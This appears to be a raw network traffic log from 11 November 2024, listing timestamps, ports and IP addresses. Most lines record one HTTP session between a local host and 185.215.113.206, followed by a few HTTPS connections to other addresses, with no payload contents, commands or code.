Nov 11, 2024 19:52:25.158514023 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.158523083 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158531904 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.158535957 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158546925 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158560038 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158571005 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158577919 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.158577919 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.158577919 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.158581972 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158602953 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.158602953 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.158607006 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158624887 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158636093 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158648968 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158652067 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.158652067 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.158663034 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158678055 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158688068 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.158689022 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158720970 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.158757925 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158768892 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158778906 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.158778906 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.158780098 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158792019 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158803940 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158806086 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.158816099 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158827066 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158845901 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158847094 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.158847094 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.158862114 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158875942 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.158891916 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158904076 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158914089 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158915997 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.158915997 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.158926010 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158936024 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.158940077 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158951998 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158963919 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158974886 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158979893 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.158987045 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.158999920 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.158999920 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159028053 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159037113 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.159037113 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.159040928 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159053087 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159065008 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159077883 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159085035 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.159085035 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.159085035 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.159090042 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159104109 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159115076 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159125090 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159141064 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159149885 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.159149885 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.159173965 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159204960 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159209967 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.159209967 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.159218073 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159229994 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159240961 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159251928 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159260035 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.159260035 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.159264088 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159277916 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159287930 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159300089 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159342051 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159348965 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.159348965 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.159348965 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.159353971 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159363985 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159375906 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159382105 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.159388065 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159394026 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.159399033 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159404993 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159410954 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159416914 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159427881 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159457922 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.159457922 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.159457922 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.159477949 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159496069 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159507990 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159514904 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.159514904 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.159518957 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159529924 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159540892 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159543991 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.159543991 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.159555912 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159585953 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.159585953 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.159589052 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159600973 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159611940 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159624100 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159635067 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159646034 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159650087 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.159650087 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.159650087 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.159650087 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.159658909 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159673929 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159698963 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159699917 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.159699917 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.159709930 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159720898 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159728050 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.159735918 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159749031 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159755945 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.159755945 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.159775019 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159784079 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159795046 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159807920 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159818888 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.159818888 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.159820080 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159818888 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.159818888 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.159831047 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.159832001 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159845114 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159849882 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.159856081 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159873009 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.159923077 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159933090 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159941912 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159955978 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159956932 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.159966946 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.159995079 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.159995079 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.160001040 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160012960 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160023928 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160034895 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160044909 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.160044909 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.160047054 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160058022 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160068989 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160079956 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160089970 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.160089970 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.160109997 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160120964 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160132885 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160151958 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.160162926 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160187960 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.160187960 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.160192013 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160202980 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160213947 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160226107 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160228968 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.160238028 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160244942 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.160248995 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160260916 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160274982 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.160286903 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160288095 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.160298109 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160307884 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160320044 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160321951 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.160330057 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.160331011 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160342932 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160353899 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160363913 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.160366058 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160377979 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160393000 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.160393000 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.160408020 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160422087 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160444975 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.160445929 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160458088 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160468102 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160480976 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160480976 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.160480976 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.160491943 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160497904 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.160497904 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.160502911 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160515070 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160526991 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160541058 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160563946 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.160563946 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.160563946 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.160573006 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160581112 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160590887 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160598993 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.160603046 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160614014 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160619020 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.160624981 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160636902 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160645008 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.160649061 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160684109 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160686016 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.160686016 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.160696030 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160705090 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160712004 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.160716057 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160725117 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.160727024 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160738945 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160752058 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160753965 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.160763025 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160773993 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160784960 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.160784960 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.160794973 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160820961 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160832882 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160839081 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160849094 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160854101 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.160854101 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.160861015 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160867929 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.160872936 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160896063 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160906076 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160917997 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160928965 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160950899 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.160950899 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.160950899 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.160960913 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160973072 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160984993 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.160996914 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.161007881 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.161020994 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.161034107 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.161042929 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.161042929 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.161042929 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.161046982 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.161058903 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.161062002 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.161086082 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.161098957 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.161108971 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.161119938 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.161125898 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.161125898 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.161125898 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.161130905 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.161143064 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.161154032 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.161154985 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.161165953 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.161175966 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.161175966 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.161179066 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.161190987 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.161201954 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.161207914 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.161214113 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.161226034 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.161237001 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.161248922 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.161261082 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.161271095 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.161284924 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.161284924 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.161284924 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.161295891 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.161386967 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.198446989 CET	443	49860	152.195.19.97	192.168.2.5
Nov 11, 2024 19:52:25.199409008 CET	49860	443	192.168.2.5	152.195.19.97
Nov 11, 2024 19:52:25.199426889 CET	443	49860	152.195.19.97	192.168.2.5
Nov 11, 2024 19:52:25.200412035 CET	443	49860	152.195.19.97	192.168.2.5
Nov 11, 2024 19:52:25.200480938 CET	49860	443	192.168.2.5	152.195.19.97
Nov 11, 2024 19:52:25.203583956 CET	49860	443	192.168.2.5	152.195.19.97
Nov 11, 2024 19:52:25.203645945 CET	443	49860	152.195.19.97	192.168.2.5
Nov 11, 2024 19:52:25.206062078 CET	49860	443	192.168.2.5	152.195.19.97
Nov 11, 2024 19:52:25.206070900 CET	443	49860	152.195.19.97	192.168.2.5
Nov 11, 2024 19:52:25.232894897 CET	443	49861	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.233408928 CET	443	49863	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.234200001 CET	49861	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.234211922 CET	443	49861	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.234519958 CET	49861	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.234519958 CET	49863	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.234527111 CET	443	49861	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.234549046 CET	443	49863	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.234843016 CET	443	49862	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.234944105 CET	49863	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.234949112 CET	443	49863	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.235116959 CET	49862	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.235146999 CET	443	49862	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.250209093 CET	49862	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.250226021 CET	443	49862	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.255103111 CET	443	49865	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.297847033 CET	49865	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.297882080 CET	443	49865	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.297979116 CET	443	49860	152.195.19.97	192.168.2.5
Nov 11, 2024 19:52:25.297990084 CET	443	49860	152.195.19.97	192.168.2.5
Nov 11, 2024 19:52:25.298038006 CET	443	49860	152.195.19.97	192.168.2.5
